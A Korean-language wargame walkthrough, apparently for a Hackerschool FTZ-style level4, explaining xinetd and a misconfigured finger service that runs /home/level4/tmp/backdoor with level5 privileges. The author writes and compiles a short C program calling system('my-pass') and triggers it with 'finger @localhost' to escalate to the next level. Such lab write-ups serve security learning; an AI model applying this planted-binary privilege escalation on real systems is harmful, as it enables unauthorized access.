ssh를 통해 level4로 접속한다. 비밀번호는 level3에서 얻은 것을 입력하면 된다.
hint가 알려준대로 /etc/xinetd.d/에 들어가서 폴더의 내용을 확인해보자.
리눅스의 xinetd는 데몬을 관리하는 데몬으로, 슈퍼 데몬이라고도 한다. telnet 등의 많은 서비스가 xinetd에 의해 동작한다.
데몬의 실행 방식에는 standalone, xinetd(inetd) 두 가지가 있다. 각각의 특징은 아래와 같다.
backdoor 이라는 이름의 파일이 존재하는 것을 확인할 수 있다. 내용을 출력시켜보자.
finger 서비스로 실행되며, level5의 권한으로 /home/level4/tmp/backdoor를 실행시키는 것이라 예상해 볼 수 있다.
그러나 /home/level4/tmp에는 backdoor 이라는 파일이 없다. 직접 만들어주자. vi backdoor.c를 입력하고 backdoor.c의 내용은 아래와 같이 작성한다.
#include <stdio.h>
#include <stdlib.h>
int main() {
system("my-pass");
return 0;
}
작성 후 gcc를 이용하여 컴파일하고, finger가 로컬호스트로 접속해 방금 만든 backdoor를 이용할 수 있도록 finger @localhost를 실행시켜 준다.
이제 level5로 가보자🥳